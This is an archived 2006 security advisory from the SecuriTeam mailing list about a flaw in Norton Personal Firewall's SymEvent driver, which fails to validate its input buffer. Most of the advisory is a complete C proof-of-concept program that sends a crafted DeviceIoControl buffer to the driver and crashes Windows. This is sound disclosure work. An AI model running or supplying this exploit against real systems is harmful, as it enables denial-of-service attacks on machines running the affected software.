[NT] Symantec Norton Insufficient Validation of 'SymEvent' Driver Input Buffer
- From: SecuriTeam <support@xxxxxxxxxxxxxx>
- Date: 20 Sep 2006 16:53:13 +0200
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
Symantec Norton Insufficient Validation of 'SymEvent' Driver Input Buffer
------------------------------------------------------------------------
SUMMARY
Norton insufficiently protects its driver '\Device\SymEvent' against a
manipulation by malicious applications and it fails to validate its input
buffer. It is possible to open this driver and send arbitrary data to it,
which are implicitly believed to be valid. It is possible to assemble the
data in the input buffer such that the driver performs an invalid memory
operation and crashes the whole operating system. Further impacts of this
bug were not examined.
DETAILS
Vulnerable software:
* Norton Personal Firewall 2006 version 9.1.0.33
* probably all versions of Norton Personal Firewall 2006 and Norton
Internet Security 2006
* possibly older versions of Norton Personal Firewall and Norton Internet
Security
Exploit:
/*
Testing program for Insufficient validation of "SymEvent" driver input
buffer (BTP00011P002NF)
Usage:
prog
(the program is executed without special arguments)
Description:
This program uses standard Windows API CreateFile to open "SymEvent"
driver and using DeviceIoControl it sends
malicious buffer to the driver that crashs the system.
Test:
Running the testing program.
*/
#include <stdio.h>
#include <windows.h>
void about(void)
{
printf("Testing program for Insufficient validation of \"SymEvent\"
driver input buffer (BTP00011P002NF)\n");
printf("Windows Personal Firewall analysis project\n");
printf("Copyright 2006 by Matousec - Transparent security\n");
printf("http://www.matousec.com/\n\n");
return;
}
void usage(void)
{
printf("Usage: test\n"
" (the program is executed without special arguments)\n");
return;
}
void print_last_error()
{
LPTSTR buf;
DWORD code=GetLastError();
if (FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER |
FORMAT_MESSAGE_FROM_SYSTEM,NULL,code,0,(LPTSTR)&buf,0,NULL))
{
fprintf(stderr,"Error code: %d\n",code);
fprintf(stderr,"Error message: %s",buf);
LocalFree(buf);
} else fprintf(stderr,"Unable to format error message for code
%d.\n",code);
return;
}
int main(int argc,char **argv)
{
about();
if (argc!=1)
{
usage();
return 1;
}
HANDLE file=CreateFile("\\\\.\\Global\\SymEvent",GENERIC_READ |
GENERIC_WRITE,FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,OPEN_EXISTING,0,NULL);
if (file!=INVALID_HANDLE_VALUE)
{
srand(GetTickCount());
char bufout[4],bufin[20]="\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1";
DWORD retlen;
DeviceIoControl(file,0x00220404,(PVOID)bufin,20,(PVOID)bufout,4,&retlen,NULL);
} else
{
fprintf(stderr,"Unable to open SymEvent device.\n");
print_last_error();
fprintf(stderr,"\n");
}
printf("\nTEST FAILED!\n");
return 1;
}
ADDITIONAL INFORMATION
The information has been provided by <mailto:david@xxxxxxxxxxxx> David
Matousek.
The original article can be found at:
<http://www.matousec.com/info/advisories/Norton-Insufficient-validation-of-SymEvent-driver-input-buffer.php> http://www.matousec.com/info/advisories/Norton-Insufficient-validation-of-SymEvent-driver-input-buffer.php
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@xxxxxxxxxxxxxx
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxx
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
- Prev by Date: [NT] Symantec AntiVirus and Symantec Client Security Elevation of Privilege
- Next by Date: [EXPL] Internet Explorer VML DoS (Exploit)
- Previous by thread: [NT] Symantec AntiVirus and Symantec Client Security Elevation of Privilege
- Next by thread: [EXPL] Internet Explorer VML DoS (Exploit)
- Index(es):
Relevant Pages
- [Full-disclosure] [USN-95-1] Linux kernel vulnerabilities
... Ubuntu 4.10 ... The following packages are affected: ... Georgi
Guninski discovered a buffer overflow in the ATM driver. ... the previous Ubuntu security
update (kernel version ... (Full-Disclosure) - [USN-95-1] Linux kernel vulnerabilities
... Ubuntu 4.10 ... The following packages are affected: ... Georgi
Guninski discovered a buffer overflow in the ATM driver. ... the previous Ubuntu security
update (kernel version ... (Bugtraq) - New Integrity Protection Driver (IPD) Available
... Pedestal Software Security Notice ... New Integrity Protection Driver
Available ... (NT-Bugtraq) - Re: [Full-disclosure] Wachovia Bank website sends confidential information
... Driver walks into a dealer and speaks to customer service: ... conditions on
a 90 degree slalom" says the driver. ... This Wachovia thread is pointless. ...
So what, if you're a security ... (Full-Disclosure) - [NT] Norton Insufficient Validation of Driver Input Buffer (SymEvent)
... Get your security news from a reliable source. ... Norton Insufficient Validation
of Driver Input Buffer (SymEvent) ... Norton Personal Firewall is a desktop firewall
application produced by ... Norton Personal Firewall crashes when arbitrary data is sent
to its ... (Securiteam)